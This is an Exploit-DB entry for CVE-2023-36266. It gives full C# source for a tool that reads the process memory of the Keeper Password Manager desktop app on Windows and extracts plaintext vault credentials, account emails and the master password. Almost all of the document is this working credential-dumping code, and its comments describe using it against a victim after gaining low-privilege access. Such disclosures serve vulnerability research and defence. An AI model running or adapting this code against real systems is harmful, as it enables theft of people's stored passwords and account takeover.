Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping

EDB-ID:

51623


Author:

H4rk3nz0

Type:

local


Platform:

Multiple

Date:

2023-07-28


# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping
# Google Dork: NA
# Date: 22-07-2023
# Exploit Author: H4rk3nz0
# Vendor Homepage: https://www.keepersecurity.com/en_GB/
# Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html
# Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4
# Tested on: Windows
# CVE : CVE-2023-36266

using System;
using System.Management;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections.Generic;

// Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory
// This can persist after logout if the user has not explicitly enabled the option to 'clear process memory'
// As a result of this one can extract credentials & master password from a victim after achieving low priv access
// This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app.
// Github: https://github.com/H4rk3nz0/Peeper

static class Program
{
    // To make sure we are targetting the right child process - check command line
    public static string GetCommandLine(this Process process)
    {
        if (process is null || process.Id < 1)
        {
            return "";
        }
        string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}";
        using (var searcher = new ManagementObjectSearcher(query))
        using (var collection = searcher.Get())
        {
            var managementObject = collection.OfType<ManagementObject>().FirstOrDefault();
            return managementObject != null ? (string)managementObject["CommandLine"] : "";
        }
    }

    //Extract plain text credential JSON strings (regex inelegant but fast)
    public static void extract_credentials(string text)
    {
        int index = text.IndexOf("{\"title\":\"");
        int eindex = text.IndexOf("}");
        while (index >= 0)
        {
            try
            {
                int endIndex = Math.Min(index + eindex, text.Length);
                Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))");
                string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();

                int match_cut = match.IndexOf("}  ");
                if (match_cut != -1 )
                {
                    match = match.Substring(0, match_cut + "}  ".Length).TrimEnd();
                    if (!stringsList.Contains(match) && match.Length > 20)
                    {
                        Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "}  ".Length) + "\n");
                        stringsList.Add(match);
                    }

                } else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20)
                {
                    Console.WriteLine("->Credential Record Found : " + match + "\n");
                    stringsList.Add(match.TrimEnd());
                }
                index = text.IndexOf("{\"title\":\"", index + 1);
                eindex = text.IndexOf("}", eindex + 1);
            }
            catch
            {
                return;
            }

        }
    }

    // extract account/email containing JSON string
    public static void extract_account(string text)
    {
        int index = text.IndexOf("{\"expiry\"");
        int eindex = text.IndexOf("}");
        while (index >= 0)
        {
            try
            {
                int endIndex = Math.Min(index + eindex, text.Length);
                Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)");
                string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
                if ((match.Length > 2))
                {
                    Console.WriteLine("->Account Record Found : " + match + "\n");
                    return;
                }
                index = text.IndexOf("{\"expiry\"", index + 1);
                eindex = text.IndexOf("}", eindex + 1);
            }
            catch
            {
                return;
            }
        }

    }

    // Master password not available with SSO based logins but worth looking for.
    // Disregard other data key entries that seem to match: _not_master_key_example
    public static void extract_master(string text)
    {
        int index = text.IndexOf("data_key");
        int eindex = index + 64;
        while (index >= 0)
        {
            try
            {
                int endIndex = Math.Min(index + eindex, text.Length);
                Regex reg = new Regex("(data_key[ -~]+)");
                var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
                Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})");
                if (match_one.Replace("data_key", "").Length > 5)
                {
                    if (!clean.IsMatch(match_one.Replace("data_key", "")))
                    {
                        Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n");
                    }

                }
                index = text.IndexOf("data_key", index + 1);
                eindex = index + 64;
            }
            catch
            {
                return;
            }

        }
    }

    // Store extracted strings and comapre 
    public static List<string> stringsList = new List<string>();

    // Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8
    // Performs OpenProcess to get handle with necessary query permissions
    static void Main(string[] args)
    {
        foreach (var process in Process.GetProcessesByName("keeperpasswordmanager"))
        {
            string commandline = GetCommandLine(process);
            if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7"))
            {
                Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString());
                Console.WriteLine("->Searching...\n");
                IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id);
                IntPtr address = new IntPtr(0x10000000000);
                MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
                while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0)
                {
                    if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000)
                    {
                        byte[] buffer = new byte[(int)memInfo.RegionSize];
                        if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0)
                        {
                            string text = Encoding.ASCII.GetString(buffer);
                            extract_credentials(text);
                            extract_master(text);
                            extract_account(text);
                        }
                    }

                    address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64());
                }

                CloseHandle(processHandle);

            }

        }

    }

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr hObject);

    [DllImport("ntdll.dll")]
    public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);

    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION
    {
        public IntPtr BaseAddress;
        public IntPtr AllocationBase;
        public uint AllocationProtect;
        public IntPtr RegionSize;
        public uint State;
        public uint Protect;
        public uint Type;
    }
}